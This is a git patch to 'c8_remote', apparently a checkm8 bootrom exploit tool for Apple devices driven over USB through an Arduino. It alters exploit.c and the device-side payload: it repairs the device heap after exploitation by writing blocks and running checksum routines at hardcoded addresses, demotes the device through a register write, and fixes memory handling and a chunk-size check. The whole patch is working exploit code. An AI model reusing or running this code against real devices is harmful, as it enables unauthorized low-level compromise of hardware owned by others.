From d04b884487db62abfd6d33f9a1ad03e73c67120b Mon Sep 17 00:00:00 2001
From: Gregor Haas <gregorhaas1997@gmail.com>
Date: Mon, 17 Feb 2020 15:37:57 -0500
Subject: [PATCH] Copy over some adjustments from other branch ... overwrite

---
 c8_remote/lib/payload/src/exit_usb_task.c |  3 ++-
 c8_remote/src/exploit.c                   | 20 ++++++++++++++++++--
 c8_remote/src/usb_helpers.c               |  6 ++++++
 3 files changed, 26 insertions(+), 3 deletions(-)

diff --git a/c8_remote/lib/payload/src/exit_usb_task.c b/c8_remote/lib/payload/src/exit_usb_task.c
index 95d23b8..fd45580 100644
--- a/c8_remote/lib/payload/src/exit_usb_task.c
+++ b/c8_remote/lib/payload/src/exit_usb_task.c
@@ -39,7 +39,7 @@ void fix_heap()
     check_all_chksums();
 }
 
-void entry_sync()
+void entry_sync(unsigned long long *self)
 {
     fix_heap();
 
@@ -47,6 +47,7 @@ void entry_sync()
     *(ADDR_DFU_STATUS) = 1;
 
     event_notify(ADDR_DFU_EVENT);
+    dev_free(self);
 }
 
 void entry_async(uint64_t *base){}
\ No newline at end of file
diff --git a/c8_remote/src/exploit.c b/c8_remote/src/exploit.c
index 90ebe42..de3e195 100644
--- a/c8_remote/src/exploit.c
+++ b/c8_remote/src/exploit.c
@@ -329,10 +329,10 @@ int demote_device(struct pwned_device *dev)
 
     checkm8_debug_indent("\tattempting to demote device\n");
     resp = dev_write_memory(dev, DEMOTE_REG, (unsigned char *) &oldval, 4);
-    free_dev_cmd_resp(resp);
     if(IS_CHECKM8_FAIL(resp->ret))
     {
         checkm8_debug_block("\tfailed to write to demotion reg\n");
+        free_dev_cmd_resp(resp);
 
         if(IS_CHECKM8_FAIL(close_device_session(dev)))
         {
@@ -342,6 +342,7 @@ int demote_device(struct pwned_device *dev)
 
         return CHECKM8_FAIL_INVARGS;
     }
+    free_dev_cmd_resp(resp);
 
     // verify
     resp = dev_read_memory(dev, DEMOTE_REG, 4);
@@ -385,7 +386,9 @@ int demote_device(struct pwned_device *dev)
 int fix_heap(struct pwned_device *dev)
 {
     checkm8_debug_indent("fix_heap(dev = %p)\n", dev);
-#if CHECKM8_PLATFORM == 8010
+    int close;
+
+    #if CHECKM8_PLATFORM == 8010
     unsigned long long block1_data[4] = {0x80 / 0x40, ((0x840u / 0x40) << 2u), 0x80, 0};
     unsigned long long block2_data[4] = {0x80 / 0x40, ((0x80u / 0x40) << 2u), 0x80, 0};
     unsigned long long block3_data[4] = {0x80 / 0x40, ((0x80u / 0x40) << 2u), 0x80, 0};
@@ -394,6 +397,17 @@ int fix_heap(struct pwned_device *dev)
     unsigned long long calc2_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9200, 0x1801b9220, 32, 0x180080640};
     unsigned long long calc3_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9280, 0x1801b92a0, 32, 0x180080640};
 
+    if(is_device_session_open(dev)) close = 0;
+    else
+    {
+        close = 1;
+        if(IS_CHECKM8_FAIL(open_device_session(dev)))
+        {
+            checkm8_debug_indent("\tfailed to open a device session\n");
+            return CHECKM8_FAIL_XFER;
+        }
+    }
+
     dev_write_memory(dev, 0x1801b91a0, (unsigned char *) block1_data, 64);
     dev_write_memory(dev, 0x1801b9220, (unsigned char *) block2_data, 64);
     dev_write_memory(dev, 0x1801b92a0, (unsigned char *) block3_data, 64);
@@ -402,6 +416,8 @@ int fix_heap(struct pwned_device *dev)
     dev_exec(dev, 0, 5, calc2_args);
     dev_exec(dev, 0, 5, calc3_args);
 
+    if(close) close_device_session(dev);
+
 #else
 #error "Can't fix heap for unknown platform"
 #endif
diff --git a/c8_remote/src/usb_helpers.c b/c8_remote/src/usb_helpers.c
index 06e7027..fb70697 100644
--- a/c8_remote/src/usb_helpers.c
+++ b/c8_remote/src/usb_helpers.c
@@ -517,6 +517,12 @@ int ctrl_transfer(struct pwned_device *dev,
                 // get the size of this chunk
                 size = 0;
                 ard_read(dev, (unsigned char *) &size, 2);
+                if(size > ARD_BUF_SIZE)
+                {
+                    checkm8_debug_indent("\treceived bad chunk size %i\n", size);
+                    return CHECKM8_FAIL_XFER;
+                }
+
                 checkm8_debug_indent("\treceiving data chunk of size %i\n", size);
 
                 ard_read(dev, (unsigned char *) &data[amount], size);